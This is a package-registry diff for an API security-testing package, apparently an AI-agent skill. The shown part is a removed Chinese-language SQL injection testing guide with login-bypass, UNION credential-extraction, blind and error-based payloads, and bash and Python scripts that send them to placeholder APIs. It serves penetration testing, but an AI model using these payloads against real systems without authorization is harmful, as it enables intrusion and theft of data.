opencode-api-security-testing 5.0.0 → 5.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/SKILL.md +6 -0
- package/agents/api-cyber-supervisor.md +5 -3
- package/package.json +1 -1
- package/postinstall.mjs +181 -6
- package/src/index.ts +165 -0
- package/src/tools/endpoint-discover.ts +325 -0
- package/src/tools/report-generator.ts +355 -0
- package/src/utils/env-checker.ts +264 -0
- package/references/references/README.md +0 -72
- package/references/references/asset-discovery.md +0 -119
- package/references/references/fuzzing-patterns.md +0 -129
- package/references/references/graphql-guidance.md +0 -108
- package/references/references/intake.md +0 -84
- package/references/references/pua-agent.md +0 -192
- package/references/references/report-template.md +0 -156
- package/references/references/rest-guidance.md +0 -76
- package/references/references/severity-model.md +0 -76
- package/references/references/test-matrix.md +0 -86
- package/references/references/validation.md +0 -78
- package/references/references/vulnerabilities/01-sqli-tests.md +0 -1128
- package/references/references/vulnerabilities/02-user-enum-tests.md +0 -423
- package/references/references/vulnerabilities/03-jwt-tests.md +0 -499
- package/references/references/vulnerabilities/04-idor-tests.md +0 -362
- package/references/references/vulnerabilities/05-sensitive-data-tests.md +0 -466
- package/references/references/vulnerabilities/06-biz-logic-tests.md +0 -501
- package/references/references/vulnerabilities/07-security-config-tests.md +0 -511
- package/references/references/vulnerabilities/08-brute-force-tests.md +0 -457
- package/references/references/vulnerabilities/09-vulnerability-chains.md +0 -465
- package/references/references/vulnerabilities/10-auth-tests.md +0 -537
- package/references/references/vulnerabilities/11-graphql-tests.md +0 -355
- package/references/references/vulnerabilities/12-ssrf-tests.md +0 -396
- package/references/references/vulnerabilities/README.md +0 -148
- package/references/references/workflows.md +0 -192
- package/src/src/index.ts +0 -535
|
@@ -1,1128 +0,0 @@
|
|
|
1
|
-
# SQL 注入测试
|
|
2
|
-
|
|
3
|
-
## 1. 概述
|
|
4
|
-
|
|
5
|
-
SQL 注入(SQL Injection)是一种通过将恶意 SQL 代码插入到输入参数中,进而影响后台数据库操作的攻击方式。
|
|
6
|
-
|
|
7
|
-
**危险等级**: 高
|
|
8
|
-
|
|
9
|
-
## 2. 测试点识别
|
|
10
|
-
|
|
11
|
-
### 2.1 常见注入点
|
|
12
|
-
|
|
13
|
-
| 参数位置 | 示例 | 说明 |
|
|
14
|
-
|----------|------|------|
|
|
15
|
-
| URL 查询参数 | `/user?id=1` | 路径参数 |
|
|
16
|
-
| POST Body | `username=xxx` | 表单参数 |
|
|
17
|
-
| HTTP Header | `X-Forwarded-For` | 请求头注入 |
|
|
18
|
-
| Cookie | `session_id=xxx` | Cookie 注入 |
|
|
19
|
-
|
|
20
|
-
### 2.2 危险关键词
|
|
21
|
-
|
|
22
|
-
```
|
|
23
|
-
search, query, id, page, user, name, pass,
|
|
24
|
-
keyword, id, item, cat, sort, order, filter
|
|
25
|
-
```
|
|
26
|
-
|
|
27
|
-
## 3. 测试 Payload
|
|
28
|
-
|
|
29
|
-
### 3.1 注释绕过
|
|
30
|
-
|
|
31
|
-
```bash
|
|
32
|
-
# 单行注释
|
|
33
|
-
username=admin'--
|
|
34
|
-
username=admin'#
|
|
35
|
-
username=admin'/*
|
|
36
|
-
|
|
37
|
-
# 多行注释
|
|
38
|
-
username=admin'/*xxx*/--
|
|
39
|
-
```
|
|
40
|
-
|
|
41
|
-
### 3.2 OR 绕过
|
|
42
|
-
|
|
43
|
-
```bash
|
|
44
|
-
# 万能密码
|
|
45
|
-
username=' OR '1'='1
|
|
46
|
-
username=admin' OR '1'='1
|
|
47
|
-
username=' OR 1=1--
|
|
48
|
-
|
|
49
|
-
# 利用 AND
|
|
50
|
-
username=admin' AND 1=1--
|
|
51
|
-
username=admin' AND 1=2--
|
|
52
|
-
```
|
|
53
|
-
|
|
54
|
-
### 3.3 UNION 注入
|
|
55
|
-
|
|
56
|
-
```bash
|
|
57
|
-
# 判断列数
|
|
58
|
-
username=admin' ORDER BY 1--
|
|
59
|
-
username=admin' ORDER BY 2--
|
|
60
|
-
username=admin' ORDER BY 3-- # 报错则列数为2
|
|
61
|
-
|
|
62
|
-
# 获取数据
|
|
63
|
-
username=admin' UNION SELECT null--
|
|
64
|
-
username=admin' UNION SELECT null,null--
|
|
65
|
-
username=admin' UNION SELECT 1,2,3--
|
|
66
|
-
username=admin' UNION SELECT username,password,null FROM users--
|
|
67
|
-
```
|
|
68
|
-
|
|
69
|
-
### 3.4 布尔注入
|
|
70
|
-
|
|
71
|
-
```bash
|
|
72
|
-
# 判断真假
|
|
73
|
-
username=admin' AND 1=1--
|
|
74
|
-
username=admin' AND 1=2--
|
|
75
|
-
|
|
76
|
-
# 获取字符
|
|
77
|
-
username=admin' AND SUBSTRING((SELECT password),1,1)='a'--
|
|
78
|
-
username=admin' AND ASCII(SUBSTRING((SELECT password),1,1))>100--
|
|
79
|
-
```
|
|
80
|
-
|
|
81
|
-
### 3.5 时间盲注
|
|
82
|
-
|
|
83
|
-
```bash
|
|
84
|
-
# MySQL
|
|
85
|
-
username=admin' AND SLEEP(3)--
|
|
86
|
-
username=admin' AND IF(1=1,SLEEP(3),0)--
|
|
87
|
-
|
|
88
|
-
# PostgreSQL
|
|
89
|
-
username=admin'; SELECT CASE WHEN (1=1) THEN pg_sleep(3) ELSE pg_sleep(0) END--
|
|
90
|
-
|
|
91
|
-
# SQL Server
|
|
92
|
-
username=admin'; IF (1=1) WAITFOR DELAY '00:00:03'--
|
|
93
|
-
```
|
|
94
|
-
|
|
95
|
-
### 3.6 报错注入
|
|
96
|
-
|
|
97
|
-
```bash
|
|
98
|
-
# MySQL
|
|
99
|
-
username=admin' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))--
|
|
100
|
-
username=admin' AND UPDATEXML(1,CONCAT(0x7e,user()),1)--
|
|
101
|
-
|
|
102
|
-
# Oracle
|
|
103
|
-
username=admin' AND CTXSYS.DRITHSX.SN(user,(1))>0--
|
|
104
|
-
```
|
|
105
|
-
|
|
106
|
-
## 4. 数据库指纹识别
|
|
107
|
-
|
|
108
|
-
| 数据库 | 特征 |
|
|
109
|
-
|--------|------|
|
|
110
|
-
| MySQL | `LEN()`, `SUBSTRING()`, `SLEEP()` |
|
|
111
|
-
| PostgreSQL | `pg_sleep()`, `COPY` |
|
|
112
|
-
| SQL Server | `WAITFOR`, `CHARINDEX()` |
|
|
113
|
-
| Oracle | `CTXSYS.DRITHSX.SN()` |
|
|
114
|
-
| SQLite | `LIKE()`, `GLOB()` |
|
|
115
|
-
|
|
116
|
-
## 5. 判断方法
|
|
117
|
-
|
|
118
|
-
### 5.1 响应差异
|
|
119
|
-
|
|
120
|
-
```bash
|
|
121
|
-
# 假条件
|
|
122
|
-
GET /api/user?id=1 AND 1=2
|
|
123
|
-
# 响应:无数据或错误
|
|
124
|
-
|
|
125
|
-
# 真条件
|
|
126
|
-
GET /api/user?id=1 AND 1=1
|
|
127
|
-
# 响应:正常数据
|
|
128
|
-
```
|
|
129
|
-
|
|
130
|
-
### 5.2 SQL 错误特征
|
|
131
|
-
|
|
132
|
-
```json
|
|
133
|
-
{"error": "You have an error in your SQL syntax"}
|
|
134
|
-
{"error": "mysql_fetch"}
|
|
135
|
-
{"error": "ORA-01756"}
|
|
136
|
-
{"error": "Microsoft SQL Native Client error"}
|
|
137
|
-
```
|
|
138
|
-
|
|
139
|
-
## 6. 关联漏洞
|
|
140
|
-
|
|
141
|
-
| 后续漏洞 | 利用路径 |
|
|
142
|
-
|----------|----------|
|
|
143
|
-
| 认证绕过 | `' OR '1'='1` 绕过登录 |
|
|
144
|
-
| 数据泄露 | UNION 查询敏感表 |
|
|
145
|
-
| 命令注入 | SELECT INTO OUTFILE 写 Webshell |
|
|
146
|
-
| 横向移动 | 获取管理员密码 Hash |
|
|
147
|
-
|
|
148
|
-
## 7. 测试检查清单
|
|
149
|
-
|
|
150
|
-
```
|
|
151
|
-
□ 识别注入点(参数、Header、Cookie)
|
|
152
|
-
□ 测试注释绕过('--, #, /**/)
|
|
153
|
-
□ 测试 OR 绕过(' OR '1'='1)
|
|
154
|
-
□ 测试 UNION 注入(判断列数、获取数据)
|
|
155
|
-
□ 测试布尔注入(SUBSTRING, ASCII)
|
|
156
|
-
□ 测试时间盲注(SLEEP, WAITFOR)
|
|
157
|
-
□ 测试报错注入(EXTRACTVALUE, UPDATEXML)
|
|
158
|
-
□ 识别数据库类型
|
|
159
|
-
□ 判断漏洞存在性
|
|
160
|
-
□ 利用漏洞获取数据
|
|
161
|
-
```
|
|
162
|
-
|
|
163
|
-
## 8. SQL注入误报判断标准
|
|
164
|
-
|
|
165
|
-
### 8.1 核心判断原则
|
|
166
|
-
|
|
167
|
-
```
|
|
168
|
-
【重要】不是所有特殊字符返回500都是SQL注入!
|
|
169
|
-
|
|
170
|
-
判断逻辑:
|
|
171
|
-
1. 先获取正常响应基准
|
|
172
|
-
2. 对比注入前后的响应差异
|
|
173
|
-
3. 差异必须是"SQL错误"而非"参数格式错误"
|
|
174
|
-
|
|
175
|
-
【真实SQL注入特征】
|
|
176
|
-
- 响应包含SQL错误关键字(syntax, mysql, oracle, sqlite等)
|
|
177
|
-
- 响应结构与正常响应不同(字段消失或增加)
|
|
178
|
-
- 时间盲注确认延时生效
|
|
179
|
-
|
|
180
|
-
【误报特征】
|
|
181
|
-
- 只是引号/单引号格式问题
|
|
182
|
-
- 返回"参数格式错误"而非数据库错误
|
|
183
|
-
- 响应与正常完全相同(被过滤或转义)
|
|
184
|
-
```
|
|
185
|
-
|
|
186
|
-
### 8.2 curl + 对比验证流程
|
|
187
|
-
|
|
188
|
-
```bash
|
|
189
|
-
# 1. 获取正常响应基准(必须先执行!)
|
|
190
|
-
curl -s "http://api/user?id=1" > sqli_baseline.json
|
|
191
|
-
|
|
192
|
-
# 2. 测试注入后的响应
|
|
193
|
-
curl -s "http://api/user?id=1'" > sqli_test1.json
|
|
194
|
-
curl -s 'http://api/user?id=1" OR "1"="1' > sqli_test2.json
|
|
195
|
-
|
|
196
|
-
# 3. 对比响应差异
|
|
197
|
-
diff sqli_baseline.json sqli_test1.json
|
|
198
|
-
|
|
199
|
-
# 4. SQL错误关键字检测
|
|
200
|
-
grep -iE "(mysql|sql|oracle|sqlite|postgresql|sybase|error in your sql|syntax error|warning|fatal)" sqli_test*.json
|
|
201
|
-
|
|
202
|
-
# 5. 判断标准
|
|
203
|
-
# - 正常响应与注入后响应完全相同 → 可能安全(被过滤)
|
|
204
|
-
# - 注入后响应包含SQL错误关键字 → 确认SQL注入
|
|
205
|
-
# - 注入后响应500但无SQL错误 → 可能是参数校验,非SQL注入
|
|
206
|
-
```
|
|
207
|
-
|
|
208
|
-
### 8.3 详细判断流程
|
|
209
|
-
|
|
210
|
-
```bash
|
|
211
|
-
#!/bin/bash
|
|
212
|
-
# SQL注入判断流程
|
|
213
|
-
|
|
214
|
-
TARGET="http://api/user"
|
|
215
|
-
NORMALResp=$(curl -s "${TARGET}?id=1")
|
|
216
|
-
NORMAL_LEN=${#NORMALResp}
|
|
217
|
-
|
|
218
|
-
echo "=== SQL注入误报判断 ==="
|
|
219
|
-
echo "正常响应长度: $NORMAL_LEN"
|
|
220
|
-
echo "正常响应: $NORMALResp"
|
|
221
|
-
echo ""
|
|
222
|
-
|
|
223
|
-
# 测试各种SQL注入payload
|
|
224
|
-
PAYLOADS=(
|
|
225
|
-
"1'"
|
|
226
|
-
"1 OR 1=1"
|
|
227
|
-
"1' OR '1'='1"
|
|
228
|
-
"1'--"
|
|
229
|
-
"1'#"
|
|
230
|
-
"1' ORDER BY 100--"
|
|
231
|
-
"1' AND SLEEP(3)--"
|
|
232
|
-
)
|
|
233
|
-
|
|
234
|
-
for payload in "${PAYLOADS[@]}"; do
|
|
235
|
-
echo "Testing: ${TARGET}?id=${payload}"
|
|
236
|
-
RESP=$(curl -s -w "\nHTTP_CODE:%{http_code}" "${TARGET}?id=${payload}")
|
|
237
|
-
HTTP_CODE=$(echo "$RESP" | grep "HTTP_CODE:" | cut -d: -f2)
|
|
238
|
-
BODY=$(echo "$RESP" | sed '/HTTP_CODE:/d')
|
|
239
|
-
BODY_LEN=${#BODY}
|
|
240
|
-
|
|
241
|
-
echo " HTTP状态码: $HTTP_CODE"
|
|
242
|
-
echo " 响应长度: $BODY_LEN"
|
|
243
|
-
|
|
244
|
-
# 检查SQL错误关键字
|
|
245
|
-
if echo "$BODY" | grep -qiE "(mysql|sql error|oracle|sqlite|postgresql|sybase|error in your sql|syntax error|warning|fatal|exception)"; then
|
|
246
|
-
echo " [确认SQL注入] 响应包含SQL错误关键字"
|
|
247
|
-
echo " 错误信息: $(echo "$BODY" | grep -iE "(mysql|sql error|oracle|sqlite|postgresql|sybase|error in your sql|syntax error)" | head -1)"
|
|
248
|
-
else
|
|
249
|
-
# 检查响应差异
|
|
250
|
-
if [[ "$BODY_LEN" -eq 0 ]]; then
|
|
251
|
-
echo " [可能安全] 返回空响应"
|
|
252
|
-
elif [[ "$BODY" == "$NORMALResp" ]]; then
|
|
253
|
-
echo " [可能安全] 响应与正常相同(可能被过滤)"
|
|
254
|
-
else
|
|
255
|
-
echo " [需进一步分析] 响应有差异但无SQL错误关键字"
|
|
256
|
-
echo " 响应: ${BODY:0:200}..."
|
|
257
|
-
fi
|
|
258
|
-
fi
|
|
259
|
-
echo ""
|
|
260
|
-
done
|
|
261
|
-
```
|
|
262
|
-
|
|
263
|
-
### 8.4 Python脚本(复杂场景)
|
|
264
|
-
|
|
265
|
-
```python
|
|
266
|
-
import requests
|
|
267
|
-
import time
|
|
268
|
-
import re
|
|
269
|
-
|
|
270
|
-
class SQLiTester:
|
|
271
|
-
def __init__(self, target):
|
|
272
|
-
self.target = target
|
|
273
|
-
self.baseline = None
|
|
274
|
-
|
|
275
|
-
def get_baseline(self, param, value):
|
|
276
|
-
"""获取正常响应基准"""
|
|
277
|
-
resp = requests.get(f"{self.target}?{param}={value}")
|
|
278
|
-
self.baseline = {
|
|
279
|
-
'status': resp.status_code,
|
|
280
|
-
'body': resp.text,
|
|
281
|
-
'length': len(resp.text),
|
|
282
|
-
'time': 0
|
|
283
|
-
}
|
|
284
|
-
return self.baseline
|
|
285
|
-
|
|
286
|
-
def check_sqli_error(self, body):
|
|
287
|
-
"""
|
|
288
|
-
检测响应中是否包含SQL错误
|
|
289
|
-
|
|
290
|
-
【判断标准】
|
|
291
|
-
1. 必须包含明确的数据库错误关键字
|
|
292
|
-
2. 错误必须是"SQL相关"而非"参数格式错误"
|
|
293
|
-
"""
|
|
294
|
-
sql_errors = [
|
|
295
|
-
'mysql', 'mysqli', 'mariadb',
|
|
296
|
-
'postgresql', 'postgres',
|
|
297
|
-
'oracle', 'oci',
|
|
298
|
-
'sqlite', 'sqlite3',
|
|
299
|
-
'sql server', 'mssql',
|
|
300
|
-
'sybase', 'db2',
|
|
301
|
-
'error in your sql', 'sql syntax',
|
|
302
|
-
'syntax error', 'sql error',
|
|
303
|
-
'warning:', 'fatal:',
|
|
304
|
-
'exception', 'stack trace',
|
|
305
|
-
'oracle error', 'ora-',
|
|
306
|
-
'microsoft sql native client',
|
|
307
|
-
'ctsys.drithssx.sn', # Oracle报错注入特征
|
|
308
|
-
'extractvalue', 'updatexml', # MySQL报错注入
|
|
309
|
-
]
|
|
310
|
-
|
|
311
|
-
body_lower = body.lower()
|
|
312
|
-
found_errors = []
|
|
313
|
-
|
|
314
|
-
for error in sql_errors:
|
|
315
|
-
if error.lower() in body_lower:
|
|
316
|
-
found_errors.append(error)
|
|
317
|
-
|
|
318
|
-
return found_errors
|
|
319
|
-
|
|
320
|
-
def test_injection(self, param, payload, expected_time=None):
|
|
321
|
-
"""
|
|
322
|
-
测试SQL注入
|
|
323
|
-
|
|
324
|
-
Returns:
|
|
325
|
-
(is_vuln, reason, details)
|
|
326
|
-
"""
|
|
327
|
-
start = time.time()
|
|
328
|
-
resp = requests.get(f"{self.target}?{param}={payload}", timeout=30)
|
|
329
|
-
elapsed = time.time() - start
|
|
330
|
-
|
|
331
|
-
# 1. 状态码检查
|
|
332
|
-
if resp.status_code >= 500:
|
|
333
|
-
# 500可能是注入导致数据库错误
|
|
334
|
-
errors = self.check_sqli_error(resp.text)
|
|
335
|
-
if errors:
|
|
336
|
-
return True, f"SQL注入确认(500错误+SQL关键字: {errors})", resp.text[:500]
|
|
337
|
-
else:
|
|
338
|
-
return False, "500错误但无SQL关键字,可能是参数校验失败", None
|
|
339
|
-
|
|
340
|
-
# 2. 响应内容检查
|
|
341
|
-
if self.baseline:
|
|
342
|
-
if resp.text == self.baseline['body']:
|
|
343
|
-
return False, "响应与正常响应完全相同(可能被过滤或转义)", None
|
|
344
|
-
|
|
345
|
-
# 检查SQL错误
|
|
346
|
-
errors = self.check_sqli_error(resp.text)
|
|
347
|
-
if errors:
|
|
348
|
-
return True, f"SQL注入确认(响应包含SQL错误关键字: {errors})", resp.text[:500]
|
|
349
|
-
|
|
350
|
-
# 3. 时间盲注检查
|
|
351
|
-
if expected_time and elapsed >= expected_time:
|
|
352
|
-
return True, f"时间盲注确认(延时{elapsed:.2f}秒)", None
|
|
353
|
-
|
|
354
|
-
# 4. 响应长度异常检查
|
|
355
|
-
if self.baseline:
|
|
356
|
-
length_diff = abs(len(resp.text) - self.baseline['length'])
|
|
357
|
-
if length_diff > 1000: # 长度差异超过1000字节
|
|
358
|
-
return True, f"响应长度异常变化(差异{length_diff}字节)", resp.text[:500]
|
|
359
|
-
|
|
360
|
-
return False, "未发现SQL注入特征", None
|
|
361
|
-
|
|
362
|
-
def run_tests(self, param, value="1"):
|
|
363
|
-
"""执行完整SQL注入测试"""
|
|
364
|
-
print(f"\n=== SQL注入测试: {self.target}?{param}={value} ===\n")
|
|
365
|
-
|
|
366
|
-
# 获取基准
|
|
367
|
-
self.get_baseline(param, value)
|
|
368
|
-
print(f"基准响应: {self.baseline['body'][:200]}...\n")
|
|
369
|
-
|
|
370
|
-
# 测试payload
|
|
371
|
-
payloads = [
|
|
372
|
-
("注释绕过", f"{value}'--"),
|
|
373
|
-
("OR绕过", f"{value}' OR '1'='1"),
|
|
374
|
-
("UNION探测", f"{value}' ORDER BY 100--"),
|
|
375
|
-
("时间盲注", f"{value}' AND SLEEP(3)--"),
|
|
376
|
-
("报错注入", f"{value}' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))--"),
|
|
377
|
-
]
|
|
378
|
-
|
|
379
|
-
for name, payload in payloads:
|
|
380
|
-
print(f"Testing: {payload}")
|
|
381
|
-
is_vuln, reason, details = self.test_injection(param, payload, expected_time=3 if 'SLEEP' in payload else None)
|
|
382
|
-
|
|
383
|
-
if is_vuln:
|
|
384
|
-
print(f" [VULN] {reason}")
|
|
385
|
-
if details:
|
|
386
|
-
print(f" 响应片段: {details[:200]}")
|
|
387
|
-
else:
|
|
388
|
-
print(f" [SAFE] {reason}")
|
|
389
|
-
print()
|
|
390
|
-
|
|
391
|
-
# 使用示例
|
|
392
|
-
if __name__ == "__main__":
|
|
393
|
-
tester = SQLiTester("http://api/user")
|
|
394
|
-
tester.run_tests("id", "1")
|
|
395
|
-
```
|
|
396
|
-
|
|
397
|
-
## 9. 实战判断案例
|
|
398
|
-
|
|
399
|
-
### 案例1:参数格式错误 vs SQL注入
|
|
400
|
-
|
|
401
|
-
```
|
|
402
|
-
【场景】:请求 /api/user?id=1' 返回400
|
|
403
|
-
|
|
404
|
-
【curl测试】:
|
|
405
|
-
curl -s /api/user?id=1'
|
|
406
|
-
# 返回: {"error": "Invalid parameter format"}
|
|
407
|
-
|
|
408
|
-
【判断】:
|
|
409
|
-
- 状态码: 400 (不是500)
|
|
410
|
-
- 响应内容: 参数格式错误(不是SQL错误)
|
|
411
|
-
- 结论: 【误报】只是参数校验,不是SQL注入
|
|
412
|
-
|
|
413
|
-
【正确做法】:
|
|
414
|
-
curl -s /api/user?id=1
|
|
415
|
-
# 返回: {"userId": 1, "name": "admin"}
|
|
416
|
-
|
|
417
|
-
对比后确认只是参数校验差异,不是SQL注入
|
|
418
|
-
```
|
|
419
|
-
|
|
420
|
-
### 案例2:真实SQL注入
|
|
421
|
-
|
|
422
|
-
```
|
|
423
|
-
【场景】:请求 /api/user?id=1' 返回500
|
|
424
|
-
|
|
425
|
-
【curl测试】:
|
|
426
|
-
curl -s /api/user?id=1'
|
|
427
|
-
# 返回: {"error": "You have an error in your SQL syntax;
|
|
428
|
-
# check the manual that corresponds to your MySQL server version..."}
|
|
429
|
-
|
|
430
|
-
【判断】:
|
|
431
|
-
- 状态码: 500
|
|
432
|
-
- 响应包含: "error in your SQL syntax", "MySQL"
|
|
433
|
-
- 结论: 【确认SQL注入】
|
|
434
|
-
```
|
|
435
|
-
|
|
436
|
-
### 案例3:被过滤的注入
|
|
437
|
-
|
|
438
|
-
```
|
|
439
|
-
【场景】:请求 /api/user?id=1' OR '1'='1 返回正常数据
|
|
440
|
-
|
|
441
|
-
【curl测试】:
|
|
442
|
-
curl -s /api/user?id=1' OR '1'='1
|
|
443
|
-
# 返回: {"userId": 1, "name": "admin"}
|
|
444
|
-
|
|
445
|
-
curl -s /api/user?id=1
|
|
446
|
-
# 返回: {"userId": 1, "name": "admin"}
|
|
447
|
-
|
|
448
|
-
【判断】:
|
|
449
|
-
- 两次响应完全相同
|
|
450
|
-
- 结论: 【误报】注入被过滤或转义,未触发漏洞
|
|
451
|
-
```
|
|
452
|
-
|
|
453
|
-
## 10. SQL注入新思路(2026)
|
|
454
|
-
|
|
455
|
-
> 来源:HackerOne 2026年中国区TOP4实战经验
|
|
456
|
-
|
|
457
|
-
### 10.1 Header注入(重点!)
|
|
458
|
-
|
|
459
|
-
**核心思路**:开发常认为IP由系统传入天然安全,直接拼接进SQL做日志、风控、黑白名单查询,极易产生注入。
|
|
460
|
-
|
|
461
|
-
**重点测试Header**:
|
|
462
|
-
- `X-Forwarded-For`
|
|
463
|
-
- `X-Real-IP`
|
|
464
|
-
- `Client-IP`
|
|
465
|
-
- `X-Client-IP`
|
|
466
|
-
|
|
467
|
-
**测试方法**:
|
|
468
|
-
|
|
469
|
-
```bash
|
|
470
|
-
# 1. 获取正常响应基准
|
|
471
|
-
curl -s -H "X-Forwarded-For: 1.1.1.1" "http://api/xxx" > header_baseline.json
|
|
472
|
-
|
|
473
|
-
# 2. 测试单引号注入
|
|
474
|
-
curl -s -H "X-Forwarded-For: 1.1.1.1'" "http://api/xxx" > header_sqli1.json
|
|
475
|
-
|
|
476
|
-
# 3. 测试双单引号(关键对比)
|
|
477
|
-
curl -s -H "X-Forwarded-For: 1.1.1.1''" "http://api/xxx" > header_sqli2.json
|
|
478
|
-
|
|
479
|
-
# 4. 对比差异
|
|
480
|
-
diff header_sqli1.json header_sqli2.json
|
|
481
|
-
# 如果A≠B → 可能存在注入
|
|
482
|
-
```
|
|
483
|
-
|
|
484
|
-
**curl验证脚本**:
|
|
485
|
-
```bash
|
|
486
|
-
#!/bin/bash
|
|
487
|
-
# Header注入测试脚本
|
|
488
|
-
|
|
489
|
-
TARGET="http://api/user"
|
|
490
|
-
HEADERS=("X-Forwarded-For" "X-Real-IP" "Client-IP" "X-Client-IP")
|
|
491
|
-
|
|
492
|
-
echo "=== Header注入测试 ==="
|
|
493
|
-
|
|
494
|
-
for HEADER in "${HEADERS[@]}"; do
|
|
495
|
-
echo "[测试] $HEADER"
|
|
496
|
-
|
|
497
|
-
# 正常请求
|
|
498
|
-
RESP_A=$(curl -s -H "$HEADER: 1.1.1.1'" "$TARGET")
|
|
499
|
-
|
|
500
|
-
# 单引号 vs 双单引号对比
|
|
501
|
-
RESP_B=$(curl -s -H "$HEADER: 1.1.1.1''" "$TARGET")
|
|
502
|
-
|
|
503
|
-
if [ "$RESP_A" != "$RESP_B" ]; then
|
|
504
|
-
echo " → [疑似漏洞] A≠B,响应有差异"
|
|
505
|
-
echo " A: ${RESP_A:0:100}"
|
|
506
|
-
echo " B: ${RESP_B:0:100}"
|
|
507
|
-
|
|
508
|
-
# 检查SQL错误
|
|
509
|
-
if echo "$RESP_A $RESP_B" | grep -qiE "(sql|mysql|error|syntax)"; then
|
|
510
|
-
echo " → [确认] 包含SQL错误关键字"
|
|
511
|
-
fi
|
|
512
|
-
else
|
|
513
|
-
echo " → [安全] A=B,响应相同"
|
|
514
|
-
fi
|
|
515
|
-
echo ""
|
|
516
|
-
done
|
|
517
|
-
```
|
|
518
|
-
|
|
519
|
-
### 10.2 路径注入
|
|
520
|
-
|
|
521
|
-
**核心思路**:放弃只在URL末尾参数Fuzz,改为在路径中间插入单引号测试。部分中间件会直接提取路径片段拼接SQL。
|
|
522
|
-
|
|
523
|
-
**测试方法**:
|
|
524
|
-
|
|
525
|
-
```bash
|
|
526
|
-
# 原路径
|
|
527
|
-
curl -s "http://api/a/b/c" > path_baseline.json
|
|
528
|
-
|
|
529
|
-
# 路径中间插入单引号对比
|
|
530
|
-
curl -s "http://api/a/b/c'" > path_test1.json
|
|
531
|
-
curl -s "http://api/a/b/c''" > path_test2.json
|
|
532
|
-
|
|
533
|
-
# 判断:A≠B → 可能存在注入
|
|
534
|
-
```
|
|
535
|
-
|
|
536
|
-
**实战Payload示例**:
|
|
537
|
-
```http
|
|
538
|
-
GET /serv' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))=1 or '1'='1 HTTP/1.1
|
|
539
|
-
Host: target.com
|
|
540
|
-
```
|
|
541
|
-
|
|
542
|
-
**curl验证脚本**:
|
|
543
|
-
```bash
|
|
544
|
-
#!/bin/bash
|
|
545
|
-
# 路径注入测试脚本
|
|
546
|
-
|
|
547
|
-
TARGET="http://api"
|
|
548
|
-
PATHS=("/a/b/c" "/user/list" "/admin/config" "/api/internal")
|
|
549
|
-
|
|
550
|
-
echo "=== 路径注入测试 ==="
|
|
551
|
-
|
|
552
|
-
for PATH in "${PATHS[@]}"; do
|
|
553
|
-
echo "[测试] $PATH"
|
|
554
|
-
|
|
555
|
-
# 原始路径
|
|
556
|
-
RESP_ORIG=$(curl -s "${TARGET}${PATH}")
|
|
557
|
-
|
|
558
|
-
# 路径+单引号
|
|
559
|
-
RESP_TEST1=$(curl -s "${TARGET}${PATH}'")
|
|
560
|
-
|
|
561
|
-
# 路径+双单引号(关键对比)
|
|
562
|
-
RESP_TEST2=$(curl -s "${TARGET}${PATH}''")
|
|
563
|
-
|
|
564
|
-
if [ "$RESP_TEST1" != "$RESP_TEST2" ]; then
|
|
565
|
-
echo " → [疑似漏洞] 路径注入可能"
|
|
566
|
-
echo " 单引号响应: ${RESP_TEST1:0:100}"
|
|
567
|
-
echo " 双引号响应: ${RESP_TEST2:0:100}"
|
|
568
|
-
else
|
|
569
|
-
echo " → [安全] 响应相同"
|
|
570
|
-
fi
|
|
571
|
-
echo ""
|
|
572
|
-
done
|
|
573
|
-
```
|
|
574
|
-
|
|
575
|
-
### 10.3 隐藏参数/跨接口参数复用(核心技巧!)
|
|
576
|
-
|
|
577
|
-
**核心思路**:把A接口的参数强行拼到B接口测试。后端函数常公用,部分参数前端不传但后端仍接收,因无人调用而未做过滤。
|
|
578
|
-
|
|
579
|
-
**操作步骤**:
|
|
580
|
-
1. 从JS/接口文档提取所有接口
|
|
581
|
-
2. 把已知参数串拼到其他接口后
|
|
582
|
-
3. 用 `'` vs `''` 对比测试
|
|
583
|
-
|
|
584
|
-
**测试方法**:
|
|
585
|
-
|
|
586
|
-
```bash
|
|
587
|
-
# 1. 假设从JS中发现接口 /api/user/list 有参数 userId
|
|
588
|
-
# 2. 把 userId 参数拼到其他接口测试
|
|
589
|
-
|
|
590
|
-
# 测试 /api/internal/config 是否接收 userId 参数
|
|
591
|
-
curl -s "http://api/internal/config?userId=1'" > hidden_test1.json
|
|
592
|
-
curl -s "http://api/internal/config?userId=1''" > hidden_test2.json
|
|
593
|
-
|
|
594
|
-
# 测试 limit 参数复用
|
|
595
|
-
curl -s "http://api/internal/config?limit='&xxxid='" > hidden_test3.json
|
|
596
|
-
curl -s "http://api/internal/config?limit=''&xxxid=''" > hidden_test4.json
|
|
597
|
-
|
|
598
|
-
# 判断:A≠B → 可能存在注入
|
|
599
|
-
```
|
|
600
|
-
|
|
601
|
-
**curl验证脚本**:
|
|
602
|
-
```bash
|
|
603
|
-
#!/bin/bash
|
|
604
|
-
# 跨接口隐藏参数注入测试脚本
|
|
605
|
-
|
|
606
|
-
TARGET="http://api"
|
|
607
|
-
|
|
608
|
-
echo "=== 跨接口隐藏参数测试 ==="
|
|
609
|
-
|
|
610
|
-
# 常用参数(从JS/API文档提取的)
|
|
611
|
-
PARAMS=("userId" "id" "limit" "offset" "page" "keyword" "type" "category" "status")
|
|
612
|
-
|
|
613
|
-
# 目标接口(应重点测试内部/隐藏接口)
|
|
614
|
-
ENDPOINTS=("/internal/config" "/admin/system" "/api/common" "/backend/db" "/api/private")
|
|
615
|
-
|
|
616
|
-
for ENDPOINT in "${ENDPOINTS[@]}"; do
|
|
617
|
-
echo "[测试接口] $ENDPOINT"
|
|
618
|
-
|
|
619
|
-
for PARAM in "${PARAMS[@]}"; do
|
|
620
|
-
# 参数=单引号 vs 参数=双单引号
|
|
621
|
-
RESP1=$(curl -s "${TARGET}${ENDPOINT}?${PARAM}='")
|
|
622
|
-
RESP2=$(curl -s "${TARGET}${ENDPOINT}?${PARAM}=''")
|
|
623
|
-
|
|
624
|
-
if [ "$RESP1" != "$RESP2" ]; then
|
|
625
|
-
echo " → [疑似漏洞] 参数 ${PARAM}"
|
|
626
|
-
echo " 单引号: ${RESP1:0:80}"
|
|
627
|
-
echo " 双引号: ${RESP2:0:80}"
|
|
628
|
-
fi
|
|
629
|
-
done
|
|
630
|
-
echo ""
|
|
631
|
-
done
|
|
632
|
-
```
|
|
633
|
-
|
|
634
|
